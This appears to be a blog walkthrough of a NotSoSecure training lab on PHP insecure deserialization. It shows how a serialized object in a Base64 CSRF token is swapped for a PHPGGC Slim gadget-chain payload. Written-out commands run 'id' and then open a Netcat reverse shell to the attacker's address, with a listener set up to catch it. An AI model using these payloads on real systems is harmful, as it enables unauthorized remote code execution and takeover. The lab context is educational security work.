Introduction
Insecure deserialization is a critical vulnerability that occurs when an application improperly processes untrusted serialized data. Attackers can exploit this flaw to manipulate objects, execute arbitrary code, or escalate privileges. Recognized under CWE-502 and the OWASP Top 10, this vulnerability has led to severe security breaches. Since deserialization is widely used in web applications, failing to validate input can expose systems to remote code execution (RCE) and other risks.
This blog is inspired by a NotSoSecure lab focused on PHP deserialization vulnerabilities. After successfully solving the lab, Iโm sharing a step-by-step walkthrough of the exploitation process.
Lab Reference: NotSoSecure – Deserialization Exploit Playground
Understanding the Vulnerability
Serialization converts complex data structures (like objects) into a format for storage or transmission, such as JSON, XML, or binary. Deserialization reverses this process, reconstructing objects from serialized data. Web applications frequently use deserialization for user sessions, API communications, and data storage.
The vulnerability occurs when an application deserializes untrusted data without validation. Attackers can modify serialized objects to inject malicious payloads, manipulate application behavior, or execute arbitrary code. Since deserialization can invoke class methods automatically, insecure implementations may allow remote code execution (RCE). In this lab, weโll focus on achieving RCE by crafting a malicious serialized payload and injecting it into the application.
Walkthrough
Step1: To begin, we navigate to the User Signup page, where we enter details such as First Name, Last Name, and Phone Number to create an account. Instead of submitting the form directly, we intercept the request using Burp Suite to analyze the data being sent to the server. This allows us to inspect the request structure, identify any parameters that might be vulnerable, and determine potential attack vectors for further exploitation.
Step 2: After intercepting the signup request in Burp Suite, we examine the request parameters and notice something suspicious about the CSRF token. Instead of being a securely generated, unique value for each request, it appears predictable or improperly implemented. This could indicate a potential vulnerability, allowing us to manipulate or bypass the CSRF protection mechanism. Further analysis will help determine if it can be exploited for unauthorized actions.
Step 3: After intercepting the request in Burp Suite, I analyzed the CSRF token and noticed an unusual pattern. Instead of a random or hashed value, the token appeared Base64-encoded, which raised suspicion. This could indicate that the application is using serialized data within the token.
To confirm this, I proceeded to decode the CSRF token, which I will explain in the next step. If the application is handling serialized data insecurely, it may be vulnerable to deserialization attacks, allowing us to inject a malicious payload.
Command: echo "aToyMTg3OTcxNzs%3D" | base64 -d
Result: i:21879717;base64: invalid input
Step 4: Introduce PHPGGC as a tool that helps in exploiting insecure deserialization by generating pre-built gadget chains for different PHP frameworks.
PHPGGC: A Tool for PHP Unserialization Exploits
PHPGGC (PHP Generic Gadget Chains) is a powerful tool used to generate serialized payloads for exploiting insecure deserialization vulnerabilities in PHP applications. Many modern PHP frameworks and libraries use serialization, but if user input is improperly handled, attackers can inject malicious serialized objects to execute arbitrary code.
How PHPGGC Works
PHPGGC leverages pre-built gadget chainsโpredefined sequences of PHP objects that trigger unintended behaviors when unserialized. These gadgets exist in popular PHP frameworks and libraries, making them useful for real-world exploitation.
Basic Usage:
./phpggc -b <framework/gadget> <function> <argument>
- -b <framework/gadget>: Specifies the gadget chain for a particular PHP framework (e.g., Laravel, Slim, Monolog).
- <function>: The PHP function to execute (e.g., system, exec).
- <argument>: The argument passed to the function (e.g., a system command).
To exploit the insecure deserialization vulnerability, I crafted a serialized payload using PHPGGC. Since the application runs on the Slim PHP framework, I leveraged a known Remote Code Execution (RCE) gadget to execute system commands.
./phpggc -b slim/rce1 system id
- ./phpggc: Executes the phpggc tool.
- -b slim/rce1: Specifies the gadget chain used to exploit the vulnerability.
- slim: Targets the Slim PHP framework. During reconnaissance, I identified that this web application is built using Slim.
- rce1: A known Remote Code Execution (RCE) gadget for the Slim framework.
- system: Calls the PHP system() function, allowing command execution on the target system.
- id: This is the command executed on the target, displaying user information to confirm successful exploitation.
Step 5: After generating a serialized payload using phpggc, I obtained a serialized system id payload. To exploit the vulnerability, I replaced the original CSRF token with the malicious payload in the intercepted request.
Once I sent the modified request, the server executed the payload, and I successfully retrieved the UID of the server, confirming that remote code execution (RCE) was achieved.
Step 6: I generated a new payload using PHPGGC, but instead of executing a simple command, I created a Netcat reverse shell to gain full remote access.
Commad: ./phpggc -b slim/rce1 system "nc 192.168.1.9 2723 -e /bin/sh"
Step 7: To receive the reverse shell connection from the target machine, we need to set up a Netcat listener on our attacking machine. This ensures that when the malicious payload is executed, the connection is established, granting us remote access.
Command: nc -nvlp 2723
Step 8: As we have already demonstrated the exploitation process, we now repeat the same steps but with a reverse shell payload. We generate the payload using phpggc, then intercept the request in Burp Suite and replace the CSRF token with the newly created reverse shell payload. Once we send the modified request, the server processes the serialized data, and if successful, our Netcat listener receives an incoming connection, granting us full remote access to the target machine.
Step 9: As soon as we send the modified request, instead of receiving a typical response from the server, we establish a reverse shell connection. This confirms that the insecure deserialization vulnerability has been successfully exploited, granting us remote access to the target machine.
For a detailed explanation and similar labs on insecure deserialization in PHP, you can refer to this blog by NotSoSecure.
Lab Reference: NotSoSecure – Deserialization Exploit Playground
